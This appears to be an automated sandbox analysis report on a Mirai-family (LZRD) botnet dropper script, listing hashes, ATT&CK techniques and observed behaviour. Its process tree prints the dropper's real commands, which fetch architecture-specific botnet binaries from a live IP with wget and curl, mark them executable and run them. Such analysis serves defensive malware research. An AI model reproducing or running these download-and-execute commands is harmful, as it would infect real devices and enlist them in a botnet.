mirai | 21108cd356037b6622cfe4306a50ef020eea3b1bf569af187e8b50f4f92ddbd6

Analysis

max time kernel
148s
max time network
151s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
17-01-2025 06:06

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General

Target

ohshit.sh
Size

2KB
MD5

95a4c9ceeaff1ba0b6b54a2ca6657d9b
SHA1

3d204079c491b73eb2e8000ad770bfb538f3bb79
SHA256

21108cd356037b6622cfe4306a50ef020eea3b1bf569af187e8b50f4f92ddbd6
SHA512

227a981ea250c3f5f7db4eca15456302c014893198d403001ee38f321ed7893c48d6ff50768fceefbdb6cb9592dd4192b31ed22baf4c96652fb527c1c1700f6b

Score

10^/10

mirai lzrd botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1526	chmod
1542	chmod
1558	chmod
1591	chmod
1630	chmod
1654	chmod
1662	chmod
1518	chmod
1576	chmod
1614	chmod
1646	chmod
1550	chmod
1566	chmod
1638	chmod
1534	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/WTF	1519	WTF
/tmp/WTF	1527	WTF
/tmp/WTF	1535	WTF
/tmp/WTF	1543	WTF
/tmp/WTF	1551	WTF
/tmp/WTF	1559	WTF
/tmp/WTF	1567	WTF
/tmp/WTF	1577	WTF
/tmp/WTF	1592	WTF
/tmp/WTF	1615	WTF
/tmp/WTF	1631	WTF
/tmp/WTF	1639	WTF
/tmp/WTF	1647	WTF
/tmp/WTF	1655	WTF
/tmp/WTF	1663	WTF

Modifies Watchdog functionality 1 TTPs 30 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 30 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/fstream-1.dat	upx

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1115/cmdline	WTF
File opened for reading	/proc/1115/cmdline	WTF
File opened for reading	/proc/1260/cmdline	WTF
File opened for reading	/proc/1260/cmdline	WTF
File opened for reading	/proc/1190/cmdline	WTF
File opened for reading	/proc/1125/cmdline	WTF
File opened for reading	/proc/680/cmdline	WTF
File opened for reading	/proc/1156/cmdline	WTF
File opened for reading	/proc/1528/cmdline	WTF
File opened for reading	/proc/1193/cmdline	WTF
File opened for reading	/proc/1154/cmdline	WTF
File opened for reading	/proc/1073/cmdline	WTF
File opened for reading	/proc/1154/cmdline	WTF
File opened for reading	/proc/444/cmdline	WTF
File opened for reading	/proc/1658/cmdline	WTF
File opened for reading	/proc/1310/cmdline	WTF
File opened for reading	/proc/1503/cmdline	WTF
File opened for reading	/proc/1562/cmdline	WTF
File opened for reading	/proc/1568/cmdline	WTF
File opened for reading	/proc/1194/cmdline	WTF
File opened for reading	/proc/1291/cmdline	WTF
File opened for reading	/proc/424/cmdline	WTF
File opened for reading	/proc/506/cmdline	WTF
File opened for reading	/proc/1090/cmdline	WTF
File opened for reading	/proc/1544/cmdline	WTF
File opened for reading	/proc/1176/cmdline	WTF
File opened for reading	/proc/1080/cmdline	WTF
File opened for reading	/proc/1327/cmdline	WTF
File opened for reading	/proc/1175/cmdline	WTF
File opened for reading	/proc/680/cmdline	WTF
File opened for reading	/proc/1125/cmdline	WTF
File opened for reading	/proc/1152/cmdline	WTF
File opened for reading	/proc/1181/cmdline	WTF
File opened for reading	/proc/1530/cmdline	WTF
File opened for reading	/proc/769/cmdline	WTF
File opened for reading	/proc/1538/cmdline	WTF
File opened for reading	/proc/1650/cmdline	WTF
File opened for reading	/proc/961/cmdline	WTF
File opened for reading	/proc/1156/cmdline	WTF
File opened for reading	/proc/579/cmdline	WTF
File opened for reading	/proc/1658/cmdline	WTF
File opened for reading	/proc/1161/cmdline	WTF
File opened for reading	/proc/1018/cmdline	WTF
File opened for reading	/proc/1023/cmdline	WTF
File opened for reading	/proc/1090/cmdline	WTF
File opened for reading	/proc/1618/cmdline	WTF
File opened for reading	/proc/542/cmdline	WTF
File opened for reading	/proc/1528/cmdline	WTF
File opened for reading	/proc/1568/cmdline	WTF
File opened for reading	/proc/1616/cmdline	WTF
File opened for reading	/proc/1650/cmdline	WTF
File opened for reading	/proc/1560/cmdline	WTF
File opened for reading	/proc/1644/cmdline	WTF
File opened for reading	/proc/1616/cmdline	WTF
File opened for reading	/proc/610/cmdline	WTF
File opened for reading	/proc/1656/cmdline	WTF
File opened for reading	/proc/1270/cmdline	WTF
File opened for reading	/proc/1103/cmdline	WTF
File opened for reading	/proc/1158/cmdline	WTF
File opened for reading	/proc/1546/cmdline	WTF
File opened for reading	/proc/1234/cmdline	WTF
File opened for reading	/proc/610/cmdline	WTF
File opened for reading	/proc/1129/cmdline	WTF
File opened for reading	/proc/450/cmdline	WTF

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1523	wget
1524	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/boatnet.mips	wget
File opened for modification	/tmp/boatnet.mpsl	wget
File opened for modification	/tmp/boatnet.ppc	curl
File opened for modification	/tmp/boatnet.arc	wget
File opened for modification	/tmp/boatnet.x86_64	curl
File opened for modification	/tmp/boatnet.m68k	wget
File opened for modification	/tmp/boatnet.arm	curl
File opened for modification	/tmp/boatnet.arm6	curl
File opened for modification	/tmp/boatnet.spc	curl
File opened for modification	/tmp/boatnet.i468	curl
File opened for modification	/tmp/boatnet.mpsl	curl
File opened for modification	/tmp/boatnet.arm	wget
File opened for modification	/tmp/WTF	ohshit.sh
File opened for modification	/tmp/boatnet.arc	curl
File opened for modification	/tmp/boatnet.arm6	wget
File opened for modification	/tmp/boatnet.spc	wget
File opened for modification	/tmp/boatnet.m68k	curl
File opened for modification	/tmp/boatnet.x86	wget
File opened for modification	/tmp/boatnet.sh4	wget
File opened for modification	/tmp/boatnet.i686	curl
File opened for modification	/tmp/boatnet.arm5	wget
File opened for modification	/tmp/boatnet.arm5	curl
File opened for modification	/tmp/boatnet.arm7	wget
File opened for modification	/tmp/boatnet.ppc	wget
File opened for modification	/tmp/boatnet.x86	curl
File opened for modification	/tmp/boatnet.mips	curl
File opened for modification	/tmp/boatnet.arm7	curl
File opened for modification	/tmp/boatnet.sh4	curl

/tmp/ohshit.sh
/tmp/ohshit.sh
1⤵
- Writes file to tmp directory
PID:1510
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/boatnet.x86
  2⤵
  - Writes file to tmp directory
  PID:1511
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/boatnet.x86
  2⤵
  - Writes file to tmp directory
  PID:1516
- /bin/cat
  cat boatnet.x86
  2⤵
  PID:1517
- /bin/chmod
  chmod +x boatnet.x86 config-err-VFsj86 netplan_d37cv8st ohshit.sh snap-private-tmp ssh-rL7PsCwx0DGi systemd-private-54dc83d5f0cb448a8a705dc2207af724-bolt.service-fYa9Yu systemd-private-54dc83d5f0cb448a8a705dc2207af724-colord.service-dlZ6iA systemd-private-54dc83d5f0cb448a8a705dc2207af724-ModemManager.service-DJCZ8V systemd-private-54dc83d5f0cb448a8a705dc2207af724-systemd-resolved.service-jQiNea systemd-private-54dc83d5f0cb448a8a705dc2207af724-systemd-timedated.service-nela5Z WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1518
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1519
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/boatnet.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1523
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/boatnet.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1524
- /bin/chmod
  chmod +x boatnet.mips boatnet.x86 config-err-VFsj86 netplan_d37cv8st ohshit.sh snap-private-tmp ssh-rL7PsCwx0DGi systemd-private-54dc83d5f0cb448a8a705dc2207af724-bolt.service-fYa9Yu systemd-private-54dc83d5f0cb448a8a705dc2207af724-colord.service-dlZ6iA systemd-private-54dc83d5f0cb448a8a705dc2207af724-ModemManager.service-DJCZ8V systemd-private-54dc83d5f0cb448a8a705dc2207af724-systemd-resolved.service-jQiNea systemd-private-54dc83d5f0cb448a8a705dc2207af724-systemd-timedated.service-nela5Z WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1526
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1527
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/boatnet.arc
  2⤵
  - Writes file to tmp directory
  PID:1531
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/boatnet.arc
  2⤵
  - Writes file to tmp directory
  PID:1532
- /bin/chmod
  chmod +x boatnet.arc boatnet.mips boatnet.x86 config-err-VFsj86 netplan_d37cv8st ohshit.sh snap-private-tmp ssh-rL7PsCwx0DGi systemd-private-54dc83d5f0cb448a8a705dc2207af724-bolt.service-fYa9Yu systemd-private-54dc83d5f0cb448a8a705dc2207af724-colord.service-dlZ6iA systemd-private-54dc83d5f0cb448a8a705dc2207af724-ModemManager.service-DJCZ8V systemd-private-54dc83d5f0cb448a8a705dc2207af724-systemd-resolved.service-jQiNea systemd-private-54dc83d5f0cb448a8a705dc2207af724-systemd-timedated.service-nela5Z WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1534
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1535
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/boatnet.i468
  2⤵
  PID:1539
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/boatnet.i468
  2⤵
  - Writes file to tmp directory
  PID:1540
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 config-err-VFsj86 netplan_d37cv8st ohshit.sh snap-private-tmp ssh-rL7PsCwx0DGi systemd-private-54dc83d5f0cb448a8a705dc2207af724-bolt.service-fYa9Yu systemd-private-54dc83d5f0cb448a8a705dc2207af724-colord.service-dlZ6iA systemd-private-54dc83d5f0cb448a8a705dc2207af724-ModemManager.service-DJCZ8V systemd-private-54dc83d5f0cb448a8a705dc2207af724-systemd-resolved.service-jQiNea systemd-private-54dc83d5f0cb448a8a705dc2207af724-systemd-timedated.service-nela5Z WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1542
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1543
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/boatnet.i686
  2⤵
  PID:1547
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/boatnet.i686
  2⤵
  - Writes file to tmp directory
  PID:1548
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 config-err-VFsj86 netplan_d37cv8st ohshit.sh snap-private-tmp ssh-rL7PsCwx0DGi systemd-private-54dc83d5f0cb448a8a705dc2207af724-bolt.service-fYa9Yu systemd-private-54dc83d5f0cb448a8a705dc2207af724-colord.service-dlZ6iA systemd-private-54dc83d5f0cb448a8a705dc2207af724-ModemManager.service-DJCZ8V systemd-private-54dc83d5f0cb448a8a705dc2207af724-systemd-resolved.service-jQiNea systemd-private-54dc83d5f0cb448a8a705dc2207af724-systemd-timedated.service-nela5Z WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1550
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1551
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/boatnet.x86_64
  2⤵
  PID:1555
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/boatnet.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1556
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 config-err-VFsj86 netplan_d37cv8st ohshit.sh snap-private-tmp ssh-rL7PsCwx0DGi systemd-private-54dc83d5f0cb448a8a705dc2207af724-bolt.service-fYa9Yu systemd-private-54dc83d5f0cb448a8a705dc2207af724-colord.service-dlZ6iA systemd-private-54dc83d5f0cb448a8a705dc2207af724-ModemManager.service-DJCZ8V systemd-private-54dc83d5f0cb448a8a705dc2207af724-systemd-resolved.service-jQiNea systemd-private-54dc83d5f0cb448a8a705dc2207af724-systemd-timedated.service-nela5Z WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1558
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1559
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/boatnet.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1563
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/boatnet.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1564
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-VFsj86 netplan_d37cv8st ohshit.sh snap-private-tmp ssh-rL7PsCwx0DGi systemd-private-54dc83d5f0cb448a8a705dc2207af724-bolt.service-fYa9Yu systemd-private-54dc83d5f0cb448a8a705dc2207af724-colord.service-dlZ6iA systemd-private-54dc83d5f0cb448a8a705dc2207af724-ModemManager.service-DJCZ8V systemd-private-54dc83d5f0cb448a8a705dc2207af724-systemd-resolved.service-jQiNea systemd-private-54dc83d5f0cb448a8a705dc2207af724-systemd-timedated.service-nela5Z WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1566
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1567
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/boatnet.arm
  2⤵
  - Writes file to tmp directory
  PID:1571
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/boatnet.arm
  2⤵
  - Writes file to tmp directory
  PID:1572
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-VFsj86 netplan_d37cv8st ohshit.sh snap-private-tmp ssh-rL7PsCwx0DGi systemd-private-54dc83d5f0cb448a8a705dc2207af724-colord.service-dlZ6iA systemd-private-54dc83d5f0cb448a8a705dc2207af724-ModemManager.service-DJCZ8V systemd-private-54dc83d5f0cb448a8a705dc2207af724-systemd-resolved.service-jQiNea systemd-private-54dc83d5f0cb448a8a705dc2207af724-systemd-timedated.service-nela5Z WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1576
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1577
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/boatnet.arm5
  2⤵
  - Writes file to tmp directory
  PID:1581
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/boatnet.arm5
  2⤵
  - Writes file to tmp directory
  PID:1586
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-VFsj86 netplan_d37cv8st ohshit.sh snap-private-tmp ssh-rL7PsCwx0DGi systemd-private-54dc83d5f0cb448a8a705dc2207af724-bolt.service-8wS5xC systemd-private-54dc83d5f0cb448a8a705dc2207af724-colord.service-dlZ6iA systemd-private-54dc83d5f0cb448a8a705dc2207af724-ModemManager.service-DJCZ8V systemd-private-54dc83d5f0cb448a8a705dc2207af724-systemd-resolved.service-jQiNea systemd-private-54dc83d5f0cb448a8a705dc2207af724-systemd-timedated.service-nela5Z WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1591
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1592
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/boatnet.arm6
  2⤵
  - Writes file to tmp directory
  PID:1596
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/boatnet.arm6
  2⤵
  - Writes file to tmp directory
  PID:1600
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-VFsj86 netplan_d37cv8st ohshit.sh snap-private-tmp ssh-rL7PsCwx0DGi systemd-private-54dc83d5f0cb448a8a705dc2207af724-bolt.service-JrnoFb systemd-private-54dc83d5f0cb448a8a705dc2207af724-colord.service-dlZ6iA systemd-private-54dc83d5f0cb448a8a705dc2207af724-ModemManager.service-DJCZ8V systemd-private-54dc83d5f0cb448a8a705dc2207af724-systemd-resolved.service-jQiNea systemd-private-54dc83d5f0cb448a8a705dc2207af724-systemd-timedated.service-nela5Z WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1614
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1615
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/boatnet.arm7
  2⤵
  - Writes file to tmp directory
  PID:1619
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/boatnet.arm7
  2⤵
  - Writes file to tmp directory
  PID:1626
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-VFsj86 netplan_d37cv8st ohshit.sh snap-private-tmp ssh-rL7PsCwx0DGi systemd-private-54dc83d5f0cb448a8a705dc2207af724-colord.service-dlZ6iA systemd-private-54dc83d5f0cb448a8a705dc2207af724-ModemManager.service-DJCZ8V systemd-private-54dc83d5f0cb448a8a705dc2207af724-systemd-resolved.service-jQiNea systemd-private-54dc83d5f0cb448a8a705dc2207af724-systemd-timedated.service-nela5Z WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1630
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1631
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/boatnet.ppc
  2⤵
  - Writes file to tmp directory
  PID:1635
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/boatnet.ppc
  2⤵
  - Writes file to tmp directory
  PID:1636
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 config-err-VFsj86 netplan_d37cv8st ohshit.sh snap-private-tmp ssh-rL7PsCwx0DGi systemd-private-54dc83d5f0cb448a8a705dc2207af724-colord.service-dlZ6iA systemd-private-54dc83d5f0cb448a8a705dc2207af724-ModemManager.service-DJCZ8V systemd-private-54dc83d5f0cb448a8a705dc2207af724-systemd-resolved.service-jQiNea systemd-private-54dc83d5f0cb448a8a705dc2207af724-systemd-timedated.service-nela5Z WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1638
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1639
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/boatnet.spc
  2⤵
  - Writes file to tmp directory
  PID:1643
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/boatnet.spc
  2⤵
  - Writes file to tmp directory
  PID:1644
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-VFsj86 netplan_d37cv8st ohshit.sh snap-private-tmp ssh-rL7PsCwx0DGi systemd-private-54dc83d5f0cb448a8a705dc2207af724-colord.service-dlZ6iA systemd-private-54dc83d5f0cb448a8a705dc2207af724-ModemManager.service-DJCZ8V systemd-private-54dc83d5f0cb448a8a705dc2207af724-systemd-resolved.service-jQiNea systemd-private-54dc83d5f0cb448a8a705dc2207af724-systemd-timedated.service-nela5Z WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1646
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1647
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/boatnet.m68k
  2⤵
  - Writes file to tmp directory
  PID:1651
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/boatnet.m68k
  2⤵
  - Writes file to tmp directory
  PID:1652
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-VFsj86 netplan_d37cv8st ohshit.sh snap-private-tmp ssh-rL7PsCwx0DGi systemd-private-54dc83d5f0cb448a8a705dc2207af724-colord.service-dlZ6iA systemd-private-54dc83d5f0cb448a8a705dc2207af724-ModemManager.service-DJCZ8V systemd-private-54dc83d5f0cb448a8a705dc2207af724-systemd-resolved.service-jQiNea systemd-private-54dc83d5f0cb448a8a705dc2207af724-systemd-timedated.service-nela5Z WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1654
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1655
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/boatnet.sh4
  2⤵
  - Writes file to tmp directory
  PID:1659
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/boatnet.sh4
  2⤵
  - Writes file to tmp directory
  PID:1660
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 config-err-VFsj86 netplan_d37cv8st ohshit.sh snap-private-tmp ssh-rL7PsCwx0DGi systemd-private-54dc83d5f0cb448a8a705dc2207af724-colord.service-dlZ6iA systemd-private-54dc83d5f0cb448a8a705dc2207af724-ModemManager.service-DJCZ8V systemd-private-54dc83d5f0cb448a8a705dc2207af724-systemd-resolved.service-jQiNea systemd-private-54dc83d5f0cb448a8a705dc2207af724-systemd-timedated.service-nela5Z WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1662
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1663

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/boatnet.x86

Filesize
20KB

MD5
313c4b235e0e62ca38eb04bfa7677e44

SHA1
c31d5d0c0fa4bfa4ea2837cede424504c68ccfd3

SHA256
dfd6f81327b03f5336895c6bed7bfff178a054eafef5637ccb74e7a0ac4ef4c4

SHA512
0bf52b087e48b6daac55f735ae5b5af7626322db3200e72c61755d6b80234c503a02f3e35b340b70d1731fdec2054f530251504dec55497ca5877f9233ff54ad

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